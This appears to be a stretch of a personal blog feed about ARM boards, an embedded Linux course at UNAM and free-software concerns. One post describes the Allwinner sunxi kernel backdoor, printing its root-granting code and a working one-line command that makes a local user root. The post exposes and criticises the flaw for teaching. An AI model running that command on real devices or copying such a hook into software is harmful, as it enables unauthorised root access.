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A single C.H.I.P.

Submitted by gwolf on Mon, 07/04/2016 - 06:58
A single C.H.I.P.
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Just a single C.H.I.P.

Submitted by gwolf on Mon, 07/04/2016 - 06:57
Just a single C.H.I.P.
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Invoice for the C.H.I.Ps

Submitted by gwolf on Mon, 07/04/2016 - 06:34
Invoice for the C.H.I.Ps

So cheap we didn't even have to lie about their value! Went through South African customs unmolested.

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Debugging backdoors and the usual software distribution for embedded-oriented systems

Submitted by gwolf on Fri, 05/13/2016 - 19:58

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.

Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.

In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingeniería, UNAM. It has been quite successful — And fun.

Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.

As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:

  • Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
  • Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
  • Building a barebones system using the great Buildroot set of scripts and hacks
  • Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)

Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!

Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.

So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?

Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.

This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:

  1. Debian GNU/Linux 8 bananapi ttyS0
  3. banana login: gwolf
  4. Password:
  6. Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
  7. Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
  9. The programs included with the Debian GNU/Linux system are free software;
  10. the exact distribution terms for each program are described in the
  11. individual files in /usr/share/doc/*/copyright.
  13. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  14. permitted by applicable law.
  16. gwolf@banana:~$ id
  17. uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
  18. gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
  19. gwolf@banana:~$ id
  20. groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)

Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):

  1. if(!strncmp("rootmydevice",(char*)buf,12)){
  2. cred = (struct cred *)__task_cred(current);
  3. cred->uid = 0;
  4. cred->gid = 0;
  5. cred->suid = 0;
  6. cred->euid = 0;
  7. cred->euid = 0;
  8. cred->egid = 0;
  9. cred->fsuid = 0;
  10. cred->fsgid = 0;
  11. printk("now you are root\n");
  12. }

Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.

Anyway, enough said by me. Some other sources of information:

There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

Pyra, PocketC.H.I.P. — Not quite the same, but...

Submitted by gwolf on Sun, 05/08/2016 - 13:49

Petter and Elena both talk enthusiastically about the Pyra. I am currently waiting for the shipment of my C.H.I.P. kit — I pre-ordered my kit when it was still in kickstarter phase, and got the PocketC.H.I.P. level.

It is clearly not the same nor equivalent to the Pyra — The PocketC.H.I.P. is a convenient packaging for what is chiefly an System-on-a-chip; the C.H.I.P. is a small system by today's standards (single-core ARM, 512MB RAM, not meant to be expanded), but still it looks quite usable as a very portable and usable Unix system. Oh, and of course — It's also Debian by default.

I got quite interested in what the Pyra was like. However, the pricing does not make much sense to me. OK, the Pyra is quite a bigger machine, but... While the PocketC.H.I.P. costs officially US$70 (and before June, according to the site, US$50), the Pyra starts at €500 (plus taxes)... It is just too much!

Anyway, I hope to have mine in time to go to DebConf. I also hope Petter and/or Elena can make it this year. And I hope we can compare the systems. I guess the Pyra will sit closer to a regular laptop... But anyway, my two last laptops have been at the bottom of the price scale (both from the Acer Aspire One line). I bought both for around US$300, used the first one as my main laptop for over five years, and have been three with the current one, completely happy.

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Readying up for the second "Embedded Linux" diploma course

Submitted by gwolf on Tue, 01/12/2016 - 11:28

I am happy to share here a project I was a part of during last year, that ended up being a complete success and now stands to be repeated: The diploma course on embedded Linux, taught at Facultad de Ingeniería, UNAM, where I'm teaching my regular classes as well.

Back in November, we held the graduation for our first 10 students. This photo shows only seven, as the remaining three have already relocated to Guadalajara, where they were hired by Continental, a company that promoted the creation of this specialization program.

After this first excercise, we went over the program and made some adequations; future generations will have a shorter and more focused program (240 instead of 288 hours, leaving out several topics that were not deemed related to the topic or were thoroughly understood by students to begin with); we intend to start the semester-long course in early February. I will soon update here with the full program and promotional material, as soon as I receive it. update (01-19): You can download the promotional information, or go to an (unofficial) URL with the full information. We are close to starting the program, so hurry!

I am specially glad that this course is taught by people I admire and recognize, and a very interesting mix between long-time academic and stemming from my free-software-related friends: From the academic side, Facultad de Ingeniería's professors Laura Sandoval, Karen Sáenz and Oscar Valdez, and from the free-software side, Sandino Araico, Iván Chavero, César Yáñez and Gabriel Saldaña (and myself on both camps, of course ☺)

«Almost free» — Some experiences with the Raspberry Pi, CI20, BananaPi, CuBox-i... And whatever will follow

Submitted by gwolf on Fri, 06/12/2015 - 19:46

I know very little about hardware.

I think I have a good understanding on many aspects of what happens inside a computer, but my knowledge is clearly firmer on what happens once an operating system is already running. And even then, my understanding of the lower parts of reality is shaky at most — At least according to my self-evaluation, of course, comparing to people I'm honored to call "my peers".

During the last ~18 months, my knowledge of this part of reality, while still far from complete, has increased quite a bit — Maybe mostly showing that I'm basically very cheap: As I have come across very cheap (or even free for me!) hardware, I have tried to understand and shape what happens in levels below those where I dwell.

I have been meaning to do a writeup on the MIPS Creator CI20, which was shipped to me for free (thanks++!) by Imagination Technologies; I still want to get more familiar with the board and have better knowledge before reporting on it. Just as a small advance, as this has been keeping me somewhat busy: I got this board after their offer to Debian Developers, and prompted because I'll be teaching some modules on the Embedded Linux diploma course dictated by Facultad de Ingeniería, UNAM — Again, I'll blog about that later.

My post today follows Riku's, titled Dystopia of things, where he very clearly finds holes in the Internet of Things offering of one specific product and one specific company, but allows for generalizations on what we will surely see as the model. Riku says:

Today, the GPL sources for hub are available - at least the kernel and a patch for busybox. The proper GPL release is still only through written offer. The sources appeared online April this year while Hub has been sold for two years already. Even if I ordered the GPL CD, it's unlikely I could build a modified system with it - too many proprietary bits. The whole GPL was invented by someone who couldn't make a printer do what he wanted. The dystopian today where I have to rewrite the whole stack running on a Linux-based system if I'm not happy what's running there as provided by OEM.

This is not exactly the situation on the boards/products (it's a disservice to call the cute CuBox-i just a board!) I mention I'm using, but it's neither too far. Being used to the easy x86 world, I am used to bitching on specific hardware that does not get promptly recognized by the Linux kernel — But even with the extra work UEFI+SecureBoot introduces, getting the kernel to boot is something we just take for granted. In the MIPS and ARM worlds, this is not so much of a given; I'm still treating the whole SPL and DeviceTree world as a black box, but that's where a lot of the work happens.

The boards I am working on try to make a point they are Open Hardware. The CI20 is quite impressive in this regard, as not only it has a much more complete set of on-board peripherials than any other, but a wealth of schematics, datasheets and specifications for the different parts of its components. And, of course, the mere availability of the MIPSfpga program to universities worldwide is noteworthy — Completely outside of my skillset, but looks most interesting.

However... Despite being so much almost-Free-with-a-capital-F, all those boards fail our definitions of freedom in several ways. And yes, they lead us to a situation similar to what Riku describes, to what Stallman feared... To a situation not really better to where we stand on openly closed-source, commodity x86 hardware: Relying on binary blobs and on non-free portions of code to just use our hardware, or at least to use many of the features that would be available to us otherwise.

As an example, both the CI20 and the CuBox-i vendors provide system images able to boot what they describe as a Debian 7 system, based on a 3.0 Linux kernel (which Debian never used; IIRC the CuBox-i site said it was derived from a known-good Android kernel)... Only that it's an image resulting of somebody else installing and configuring it. Why should we trust their image to be sane? Yes, the resulting installation is quite impressive (i.e. the CI20's 3D demos are quite impressive for a system that feels otherwise sluggish, and out of my ARM experience, I'd wager it feels sluggish mostly because of a slow SSD)...

I have managed to do clean Debian installs on most of my ARM machines (the CuBox-i as described in my previous blog post; this post from Elena ``of Valhalla'' prompted me into trying the already well documented way of running the official Debian Installer, which worked like a charm and gave me a very nice and responsive Debian 8 install — Modulo yes, the Banana's non-free video interface, which AFAICT uses the non-free Mail binary driver... And which I haven't had the time to play with yet. Of course, my CuBox is in a similar situation, where it works like a charm as a personal server, but is completely worthless as a set-top box.

So, with those beautiful, small, cheap SoC systems, we are close to where we stood twenty years ago with x86 Linux: Good support for a small set of peripherials, but a far cry from having a functional system with exclusively free software. ,

Despite claims of being open source, this is not open source hardware. If you are thinking of getting this device, you should also try looking into the hardware from our Community instead.

Still... Playing with these boards has taught me a lot, and has clearly taught me I'm still standing on the first steps of the n00b level. I have a lot to learn to be able to responsibly teach my part of the diploma course, and I'm very thankful for the differences in hardware (and, of course, for the hardware manufacturers, specially for the MIPS Creator CI20 and the Lemaker Banana Pi for giving me boards to work on!)

I shall keep posting on this topic.

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